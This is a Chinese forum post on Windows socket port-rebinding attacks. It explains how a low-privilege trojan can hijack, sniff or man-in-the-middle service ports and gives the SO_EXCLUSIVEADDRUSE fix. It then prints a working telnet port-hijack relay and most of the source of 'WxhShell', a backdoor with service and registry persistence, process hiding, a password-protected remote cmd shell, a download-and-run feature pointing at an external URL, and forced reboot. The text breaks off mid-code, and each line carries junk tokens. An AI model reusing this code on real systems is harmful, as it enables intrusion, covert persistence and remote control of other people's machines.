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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X3KP N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :EK.&% 2  
!V =s^8nj  
  saddr.sin_family = AF_INET; 07T"alXf:A  
&oWdBna"_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pvJsSX  
nKFua l3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B=:7N;BT  
cD6$C31Y]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @x>J-Owd]J  
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  这意味着什么?意味着可以进行如下的攻击: i%+p\eeq*  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =$B:i>z<  
-P09u82  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =NH p%|  
s!q6OVJ-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 su}> >07  
#^- U|~,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ld[zOx  
zkdyfl5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iBy:HH  
9: bC{n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5PPV`7Xm9  
3|Q:tt'|#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b7It8  
Y5~_y?BX  
  #include +8FlDiP  
  #include s|U=_,.  
  #include 21$YZlhJ  
  #include    _|x b)_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9=D\xBd|w  
  int main() w. gI0`  
  { ZGHkW9b&  
  WORD wVersionRequested; t)n!];  
  DWORD ret; b!Q|0X.?  
  WSADATA wsaData; a_YE[6  
  BOOL val; _MfB,CS  
  SOCKADDR_IN saddr; ZJ9J*5!C  
  SOCKADDR_IN scaddr; ic:_v?k  
  int err; VRYj&s'@  
  SOCKET s; [N}:Di,S  
  SOCKET sc; ) 5r*2I  
  int caddsize; uL^Qtmm>M  
  HANDLE mt; igp[cFN  
  DWORD tid;   'aQ"&GX@  
  wVersionRequested = MAKEWORD( 2, 2 ); -X~VXeg  
  err = WSAStartup( wVersionRequested, &wsaData ); I3QK~ V*j)  
  if ( err != 0 ) { e9;<9uX  
  printf("error!WSAStartup failed!\n"); :,$:@  
  return -1; MfhJb_q`  
  } a%"My;8  
  saddr.sin_family = AF_INET; G J=<~S"  
   !5Ko^:+Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !HM|~G7  
EKsL0;FV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H/>86GG  
  saddr.sin_port = htons(23); ;E /:_DWPD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q/Dc*Qn m  
  { < @9p|[!  
  printf("error!socket failed!\n"); =PiDZS^"  
  return -1; 12*'rU;*  
  } AvdxDN  
  val = TRUE; iN0gvjZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]Cpd`}'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MP\$_;&xB  
  { P SDzs\s  
  printf("error!setsockopt failed!\n"); CUgXpU*  
  return -1; 0FfBD[E:  
  } &k+G^ !=s#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PW"G]G,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V-U,3=C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >OVi{NyT  
w#w lZ1f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N\?%944R  
  { Y,OSQBgk  
  ret=GetLastError(); P g.PD,&U  
  printf("error!bind failed!\n"); #(C2KRRiA  
  return -1; HDU tLU d  
  }  E%\jR  
  listen(s,2); |ahleu  
  while(1) Z -`j)3Y  
  { JnCp'`  
  caddsize = sizeof(scaddr); ]%jlaXb  
  //接受连接请求 c#M 'Mye  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (.,`<rXw  
  if(sc!=INVALID_SOCKET) ps1ndGp~#  
  { B5>h@p-UV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h4x*C=?A  
  if(mt==NULL) E(A7DXzbR  
  { mw9;LNi\D  
  printf("Thread Creat Failed!\n"); |e@9YDZ  
  break; J&w%lYiu5  
  } K^bzZa+a  
  } E]`)  
  CloseHandle(mt); jy`jxOoG~Z  
  } F|q-ZlpW-  
  closesocket(s); #/zPAcV:  
  WSACleanup();  &o$E1;og  
  return 0; euO!+9p  
  }   Hzs]\%"  
  DWORD WINAPI ClientThread(LPVOID lpParam) |><hdBQXX<  
  { = R|?LOEK+  
  SOCKET ss = (SOCKET)lpParam; )=TD}Xb  
  SOCKET sc; (.a:jL$  
  unsigned char buf[4096]; x g~q'>  
  SOCKADDR_IN saddr; _ETG.SYq  
  long num; +v:t  
  DWORD val; .8hB <G  
  DWORD ret; 8jW{0&ox)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 elCDPZTf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :Xc%_&)  
  saddr.sin_family = AF_INET; Mi&,64<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }18}VjC!  
  saddr.sin_port = htons(23); y6ntGrZ}$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^OKCvdS  
  { Szrr`.']  
  printf("error!socket failed!\n"); DytH } U"  
  return -1; ~TC z1UWV  
  } U2z1HIs  
  val = 100; Um 9Gjd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rmmN2+H  
  { >=-w2&  
  ret = GetLastError(); vwDnz /-  
  return -1; ?1JVzZ4H  
  } ;Pik},  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =vLeOX  
  { \tTZ N  
  ret = GetLastError(); BuMBnbT  
  return -1; tbD>A6&VM}  
  } zK893)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R'f|1mt  
  { |>a sGP  
  printf("error!socket connect failed!\n"); $wUFHEl  
  closesocket(sc); (yWU9q)5  
  closesocket(ss); mh;<lW\K/Z  
  return -1; b[,J-/;JNL  
  } .VN"j  
  while(1) )O~LXK=b  
  { @.ebQR-:H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v'0A$`w`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k"F5'Od  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  b=v  
  num = recv(ss,buf,4096,0); s 7re  
  if(num>0) ^Ts|/+}'i  
  send(sc,buf,num,0); MjCD;I:C.  
  else if(num==0) $A\fm`  
  break; /,dcr*  
  num = recv(sc,buf,4096,0); x'_I{$C &  
  if(num>0) %[0V>  
  send(ss,buf,num,0); WCT}OiLsL  
  else if(num==0) /n;-f%dL  
  break; bI.LE/yk  
  } K5gh7  
  closesocket(ss); rtf\{u9 }g  
  closesocket(sc); X[b=25Ct  
  return 0 ; 1 zIFQ@  
  } 3/V&PDC*'  
.w3.zZ0[  
9 lE[oAC  
========================================================== lR[[]Yn  
hI*gw3V  
下边附上一个代码,,WXhSHELL @~% R%Vu  
|F z/9+I  
========================================================== fH? e9E4l  
5BnO-[3  
#include "stdafx.h" (@*[^@ipV  
tcyami6D4  
#include <stdio.h> xrDHXqH  
#include <string.h> S 4uX utd  
#include <windows.h> P F#+G;q;  
#include <winsock2.h> 4E]w4BG)  
#include <winsvc.h> _MQ)  
#include <urlmon.h> x? 3U3\W  
W1S7%6y_1  
#pragma comment (lib, "Ws2_32.lib") C o v,#j j  
#pragma comment (lib, "urlmon.lib") [ sJ f)<  
<?'d \B  
#define MAX_USER   100 // 最大客户端连接数 O?e38(  
#define BUF_SOCK   200 // sock buffer  nN1\  
#define KEY_BUFF   255 // 输入 buffer Yy`\??,  
p2 u*{k{  
#define REBOOT     0   // 重启 9}4P%>_  
#define SHUTDOWN   1   // 关机 /NfuR$oMd  
}SYR)eE\  
#define DEF_PORT   5000 // 监听端口 ]V*s-och'  
:U_k*9z}=  
#define REG_LEN     16   // 注册表键长度 !_CBf#0  
#define SVC_LEN     80   // NT服务名长度 _$%.F| :  
_7r<RZ  
// 从dll定义API :N$^x /{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vgY ) L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FrBoE#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6lw)L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q qGf*  
Oz(0$c  
// wxhshell配置信息 1y@d`k`t:  
struct WSCFG { FJo  ?~  
  int ws_port;         // 监听端口 8qGK"%{ ~  
  char ws_passstr[REG_LEN]; // 口令 -t~l!! N(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ApHs`0=(  
  char ws_regname[REG_LEN]; // 注册表键名 +{U0PI82  
  char ws_svcname[REG_LEN]; // 服务名 A\p'\@f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c,nE@~ul2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5%,5Xe4p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4FURm@C6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nn<TPT[,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wdg,dk9e$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =K'X:UM  
AjBwj5K  
}; _N!L?b83P  
2"+8NfFl  
// default Wxhshell configuration " &2Kvsz  
struct WSCFG wscfg={DEF_PORT, "D#+:ix8G|  
    "xuhuanlingzhe", 91%QO?hz  
    1, BSt^QH-'  
    "Wxhshell", }jHS  
    "Wxhshell", MH@=Qqx#=t  
            "WxhShell Service", <,!8xp7,~  
    "Wrsky Windows CmdShell Service", r4&g~+ck  
    "Please Input Your Password: ", pu#h:nb>88  
  1, | a001_Wv  
  "http://www.wrsky.com/wxhshell.exe", Xg+Eeg#  
  "Wxhshell.exe" kI7c22OJ  
    }; | 4/'~cYV  
!9A6DWAE$  
// 消息定义模块 ~D# -i >Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2;h4$^`dt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q"){P RTm/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $yxwB/O(  
char *msg_ws_ext="\n\rExit."; d%+oCoeb  
char *msg_ws_end="\n\rQuit."; >np!f8+d"q  
char *msg_ws_boot="\n\rReboot..."; /+^7lQo\]  
char *msg_ws_poff="\n\rShutdown..."; /}+VH_N1  
char *msg_ws_down="\n\rSave to "; N{oi }i6  
~[n]la  
char *msg_ws_err="\n\rErr!"; ; kPx@C   
char *msg_ws_ok="\n\rOK!"; SOE 5`  
k1Z"Qmz  
char ExeFile[MAX_PATH]; f_A'.oq+  
int nUser = 0; }AfX0[!O  
HANDLE handles[MAX_USER]; j9Qd 45  
int OsIsNt; `pr$l  
?VCdT`6=  
SERVICE_STATUS       serviceStatus; U9w0kcUw#J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4lrF{S8  
wUb5[m  
// 函数声明 9N1Uv,OtB  
int Install(void); {A!1s;  
int Uninstall(void); -u)f@e  
int DownloadFile(char *sURL, SOCKET wsh); r{NCI  
int Boot(int flag); P5$d#Y(=  
void HideProc(void); $sF'Sr{)y  
int GetOsVer(void); \dvzL(,  
int Wxhshell(SOCKET wsl); }%e"A4v  
void TalkWithClient(void *cs); %f[0&)1!.v  
int CmdShell(SOCKET sock); B=dF\.&Z  
int StartFromService(void); z+3G zDLy  
int StartWxhshell(LPSTR lpCmdLine); HURr k~[  
h8 Wv t's  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^a+W!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k;EG28   
r?cDyQE  
// 数据结构和表定义 K4w %XVaH  
SERVICE_TABLE_ENTRY DispatchTable[] = R1't W=  
{ kyV!ATL1F  
{wscfg.ws_svcname, NTServiceMain}, pO]{Y?X:  
{NULL, NULL} e !V3/*F  
}; HC1jN8WDY  
Ot,_=PP  
// 自我安装 /%qw-v9qPV  
int Install(void) E2.@zY|:  
{ HJ5 Ktt  
  char svExeFile[MAX_PATH]; KDTG9KC  
  HKEY key; * AsILK0  
  strcpy(svExeFile,ExeFile); ^YVd^<cE  
'v|R' wi\  
// 如果是win9x系统,修改注册表设为自启动 jLc"1+  
if(!OsIsNt) { &Bn> YFu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + t%[$"$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p7SX,kpt>  
  RegCloseKey(key); }jL_/gvgy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :A2{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LYTx8  
  RegCloseKey(key); SNLZU%jan  
  return 0; r0MUv}p#|L  
    } =yT3#A~<G  
  } |:qaF  
} Tt^PiaS!  
else { /NE<?t N  
XFj\H(D  
// 如果是NT以上系统,安装为系统服务  3)D'Yx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W^(:\IvV  
if (schSCManager!=0) w_gFN%8  
{ %P3|#0yg0  
  SC_HANDLE schService = CreateService yT3q~#:  
  ( 4?eO1=a  
  schSCManager, YJ6y]r K2,  
  wscfg.ws_svcname, _ aJo7  
  wscfg.ws_svcdisp, fRcs@yZnS  
  SERVICE_ALL_ACCESS, LgG7|\(-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U3UKu/Z  
  SERVICE_AUTO_START, |gV$ks\<  
  SERVICE_ERROR_NORMAL, G 51l_  
  svExeFile, XIep3l*  
  NULL, eT!*_.' e  
  NULL, -'!K("  
  NULL, $m hIX A.  
  NULL,  AqqD!  
  NULL *|Bu7nwg  
  ); to2#PXf]y  
  if (schService!=0) W't?aj I|  
  { K^z u{`S  
  CloseServiceHandle(schService); DfPC@` k  
  CloseServiceHandle(schSCManager); ?cyBF*o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y5dt/8Jo  
  strcat(svExeFile,wscfg.ws_svcname); \OzPDN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [ClDKswq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2`Dqu"TWh  
  RegCloseKey(key); yuef84~  
  return 0; E%.w6-  
    } i(Xz3L#(  
  } " Y1]6 Zu  
  CloseServiceHandle(schSCManager); wI0NotC  
} sY- ] Q  
} T"bH{|:%*=  
bmid;X|  
return 1; fen~k#|l  
} +VSq[P  
jV|j]m&t  
// 自我卸载 ~10>mg  
int Uninstall(void) *UerLpf  
{ Wx8oTN  
  HKEY key; q HU}EEv  
w=;Jj7}L  
if(!OsIsNt) { %&Fsk]T%:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }EMds3<  
  RegDeleteValue(key,wscfg.ws_regname); R(^2+mV?  
  RegCloseKey(key); 7A,lQh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xs}3=&c(  
  RegDeleteValue(key,wscfg.ws_regname); ;h"St0   
  RegCloseKey(key); B=<Z@u  
  return 0; hf`5NcnP  
  } q,Nhfo(  
}  /N8>>g  
} t@#l0lu$  
else { gs:V4$(p4  
=xs"<Q*w>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RE<s$B$[  
if (schSCManager!=0) :>q*#vlb  
{ /0_^Z2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cWU9mzsE  
  if (schService!=0) *+UgrsRk  
  { 5R%4fzr&g  
  if(DeleteService(schService)!=0) { A &tMj?  
  CloseServiceHandle(schService); 6 3NhD  
  CloseServiceHandle(schSCManager); ):L ; P)  
  return 0; NZQl#ZJH:  
  } 2zPO3xL,  
  CloseServiceHandle(schService); =i1+t"=  
  } fxOa(mt  
  CloseServiceHandle(schSCManager); o0)k5P~<~  
} Lu.C+zgQ  
} $[6]Ly(F)  
J$>9UC k7B  
return 1; k|r|*|8  
} /QW-#K|S&  
xX:N-  
// 从指定url下载文件 q}+Fm?B   
int DownloadFile(char *sURL, SOCKET wsh) =jWjUkm2  
{ 0|chRX  
  HRESULT hr; }od5kK;  
char seps[]= "/"; ' X9D(?O  
char *token;  %>z)Q  
char *file; l h]Q\  
char myURL[MAX_PATH]; hM NC]  
char myFILE[MAX_PATH]; JBK(N k  
C[JGt 9{Y  
strcpy(myURL,sURL); 8q/3}AnI  
  token=strtok(myURL,seps); S)\Yc=~h  
  while(token!=NULL) L#~z#  
  { w|G4c^KH  
    file=token; 4Q?3gA1  
  token=strtok(NULL,seps); ?.~hex#M@  
  } = lMs1}S9  
W }  
GetCurrentDirectory(MAX_PATH,myFILE); 2 )F~  
strcat(myFILE, "\\"); U?e.)G  
strcat(myFILE, file); $v\o14 v  
  send(wsh,myFILE,strlen(myFILE),0); !?aL_{7J  
send(wsh,"...",3,0);  K?]c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @x[Arx^?}  
  if(hr==S_OK) :$f9(f&  
return 0; nsjrzO79L8  
else nl/~7({  
return 1; n:P++^ j  
Ap)pOD7  
} =}1m.  
lBZhg~{  
// 系统电源模块 %4I13|<A`  
int Boot(int flag) u}(K3H3  
{ !g2 ~|G  
  HANDLE hToken; LQ{z}Ay  
  TOKEN_PRIVILEGES tkp; qgkC)  
;hZ^zL  
  if(OsIsNt) { ,b'QL6>`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )2&y;{]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6483v'  
    tkp.PrivilegeCount = 1; @3Nvf}He  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f}ES8 Hh[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +2 x|j>  
if(flag==REBOOT) { aTi,gJ;*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5~H}%W,P  
  return 0; ;-"'sEu}  
} %^LwLyoVM  
else { w(cl,W/w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cz.,QIt_  
  return 0; NA{?DSP  
} >!BZ>G2  
  } P~9y}7Q\0  
  else { i"GCm`  
if(flag==REBOOT) { 9*CJWS;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9 lH00n+'  
  return 0; %Q.|qyq  
} Jj'dg6QY'  
else { ]S0sjN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3v,Bg4[i  
  return 0; ?L(y8b}F(  
} YJqbA?i  
} .]y"04@]  
)o N#%%SB<  
return 1; u0i;vO)MNt  
} w<$0n#5  
v?<Tkw ^F  
// win9x进程隐藏模块 "3e1 7dsY  
void HideProc(void) 2&KM&NX~  
{ 2E_d$nsJ  
 .H7xG'$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F&)(G\  
  if ( hKernel != NULL ) ~7O.}RP0  
  { g"|/^G_6S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4) z*Vux  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5169E*  
    FreeLibrary(hKernel); ;Sw % t(@  
  } >>R,P Ow-  
a8v9j3.  
return; f6U i~  
} a F5=k: k  
vI5'npM  
// 获取操作系统版本 Tp&7CNl|  
int GetOsVer(void) tXW7G@  
{ !v?WyGbUg  
  OSVERSIONINFO winfo; |0s)aV|K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XFJz\'{  
  GetVersionEx(&winfo); +xojnv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n"|1A..^  
  return 1; vfpK|=[7o  
  else y8/+kn +  
  return 0; x>eV$UJ  
} ]v|n'D-?  
V4tObZP3Ff  
// 客户端句柄模块 AB[#  
int Wxhshell(SOCKET wsl) ^7-l<R[T  
{ @*"H{xo.U  
  SOCKET wsh; "Wn8}T*  
  struct sockaddr_in client; )I(2t 6i  
  DWORD myID; &p83X  
#:M <<gk  
  while(nUser<MAX_USER) D?`|`Mu  
{ !6pE0(V^+4  
  int nSize=sizeof(client); W_Eur,/`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~X<Ie9m1x  
  if(wsh==INVALID_SOCKET) return 1; Cs?[   
~pG,|\9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -0:Equ?pz  
if(handles[nUser]==0) %}1v-z  
  closesocket(wsh); 4#Id0['  
else gf^XqTLs  
  nUser++; "|6763.{4  
  } {L.=)zt>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ers8J V  
~%Xs"R1c ,  
  return 0; D !5 {CQl  
} C)qy=lx%  
HqoCl  
// 关闭 socket =, G^GMi'  
void CloseIt(SOCKET wsh) 3}gf %U]L  
{ vq-# %o  
closesocket(wsh); CCp&+LRvR  
nUser--; ql2O%B.6?  
ExitThread(0); *Fu;sR2y%:  
} wgFAPZr  
29kR7[k  
// 客户端请求句柄 w3Z;&sFd  
void TalkWithClient(void *cs) P{%R*hb]  
{ )9s 6(Iu  
kcio]@#  
  SOCKET wsh=(SOCKET)cs; (hn;C>B  
  char pwd[SVC_LEN]; PCZ%<>v  
  char cmd[KEY_BUFF]; i;I!Jc_b'  
char chr[1]; hjx= ?  
int i,j; T)tf!v3v  
c!Wj^  
  while (nUser < MAX_USER) { rLx'.:  
KGNBzy~9  
if(wscfg.ws_passstr) { T%[!m5   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z<W`5sop^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cd:VFjT  
  //ZeroMemory(pwd,KEY_BUFF); ObEp0-^?  
      i=0; WR5W0!'Tf  
  while(i<SVC_LEN) { }/g1s71  
y vo4 .u  
  // 设置超时 ~?<VT k  
  fd_set FdRead; ^gdv:[ m  
  struct timeval TimeOut; 7 ?a!x$-U(  
  FD_ZERO(&FdRead); E)]RQ~jY?  
  FD_SET(wsh,&FdRead); >@uFye$  
  TimeOut.tv_sec=8; B0$.oavC  
  TimeOut.tv_usec=0; SnFAv7_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kl]LnN%A{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /\ u1q<  
8G?OZ47k#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xn,I<dL39  
  pwd=chr[0]; jrZH1dvE  
  if(chr[0]==0xd || chr[0]==0xa) { +hUz/G+3  
  pwd=0; 2'5u}G9  
  break; /Q\|u:oO,  
  } z,IUCNgM  
  i++; H:!pFj  
    } 4$MV]ldUI  
,@r 0-gL  
  // 如果是非法用户,关闭 socket 'q, L*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NW`L6wgl  
} SeIL   
^_!2-QY.~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H-5h-p k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F|^tRL-  
}e0>Uk`[  
while(1) { 6 6Bx,]"6  
h7cE"m  
  ZeroMemory(cmd,KEY_BUFF); b2G1@f.U  
y.+!+4Mg|  
      // 自动支持客户端 telnet标准   Tv /?-`Y  
  j=0; 8Q\ T,C  
  while(j<KEY_BUFF) { K\y W{y1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Y&_X0T|  
  cmd[j]=chr[0]; se`^g ,]P  
  if(chr[0]==0xa || chr[0]==0xd) { ql(~3/kA_  
  cmd[j]=0; )bR`uV9<  
  break; [6cf$FS9  
  } jzAXC^FS  
  j++; -@?4Tfl  
    } .BrYz:#A  
2 3*OuY  
  // 下载文件 NkY7Hg0  
  if(strstr(cmd,"http://")) { B> V)6\   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w*krPaT3  
  if(DownloadFile(cmd,wsh)) N`rz>6,k1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0W!S.]^1  
  else  [kL`'yi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TpAso[r  
  } U]64HuL  
  else { %WAaoR&u  
W:V.\  
    switch(cmd[0]) { rhj_cw  
  N%fDgK  
  // 帮助 9/$Cq  
  case '?': { l }WvO]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !]2`dp\!  
    break; 9Z lfY1=  
  } $3yn-'o'A  
  // 安装 eh}I?:(a?  
  case 'i': { cs7K^D;.V  
    if(Install()) G}#p4 \/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[!b";pR  
    else ]Ia}H+&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C1po]Ott*  
    break; [J +5  
    } MD>xRs   
  // 卸载 'l6SL- <  
  case 'r': { z\c$$+t  
    if(Uninstall()) fO,m_ OR:)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gaU1A"S}  
    else }-T :   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CC|=$(PgT  
    break; IZOO>-g'f  
    } HL~DIC%  
  // 显示 wxhshell 所在路径 eoxEnCU  
  case 'p': { 0i~?^sT'  
    char svExeFile[MAX_PATH]; mG.H=iw  
    strcpy(svExeFile,"\n\r"); 2*TPW  
      strcat(svExeFile,ExeFile); yyc4'j+  
        send(wsh,svExeFile,strlen(svExeFile),0); e1Bqd+  
    break; qTI_'q  
    } |)+45e  
  // 重启 Fr)6<9%xVm  
  case 'b': { ^|ul3_'?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W #V`|JA  
    if(Boot(REBOOT)) @ GXi{9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ujh`&GiB+  
    else { !;M5.Y1j&"  
    closesocket(wsh); wH]Y1 m  
    ExitThread(0); 6@-O#,]J  
    } LZ z]4Mf  
    break; ?v}S9z  
    } w<Ot0&&  
  // 关机 KZ$^Q<d^  
  case 'd': { Hk@LHC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m*'87a9q0  
    if(Boot(SHUTDOWN)) &FY7 D<  
